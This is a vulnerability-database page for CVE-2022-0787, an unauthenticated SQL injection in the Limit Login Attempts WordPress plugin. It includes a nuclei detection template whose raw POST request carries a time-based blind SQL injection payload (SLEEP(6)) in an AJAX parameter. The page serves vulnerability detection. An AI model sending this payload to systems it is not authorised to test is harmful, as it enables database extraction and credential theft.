HexBrain

Browse / CVEs / CVE-2022-0787

CVE-2022-0787· limit login attempts project / limit login attempts· CWE-89

Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection

criticalseverity
9.8CVSS score
7.5%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.

Impact

Unauthenticated attackers can execute time-based blind SQL injection via AJAX actions to extract database contents, potentially exposing WordPress user credentials and login attempt data.

Fix

Fixed in version 5.1

How to confirm it

Send: @timeout: 15s
Positive when: duration>=6 and status_code == 200 and contains(header, "text/html") and contains(body, 'iTotalDisplayRecords')

Run it with nuclei: nuclei -id CVE-2022-0787 -u <target>

The full check
id: CVE-2022-0787

info:
  name: Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection via AJAX actions to extract database contents, potentially exposing WordPress user credentials and login attempt data.
  remediation: Fixed in version 5.1
  reference:
    - https://wpscan.com/vulnerability/69329a8a-2cbe-4f99-a367-b152bd85b3dd
    - https://wordpress.org/plugins/wp-limit-failed-login-attempts/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0787
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0787
    cwe-id: CWE-89
    epss-score: 0.07518
    epss-percentile: 0.94545
    cpe: cpe:2.3:a:limit_login_attempts_project:limit_login_attempts:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: limit_login_attempts_project
    product: limit_login_attempts
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wpscan,sqli,wordpress,wp-plugin,wp,wp-limit-failed-login-attempts,limit_login_attempts_project,vuln

http:
  - raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT+7382+FROM+(SELECT(SLEEP(6)))ameU)

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body, 'iTotalDisplayRecords')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from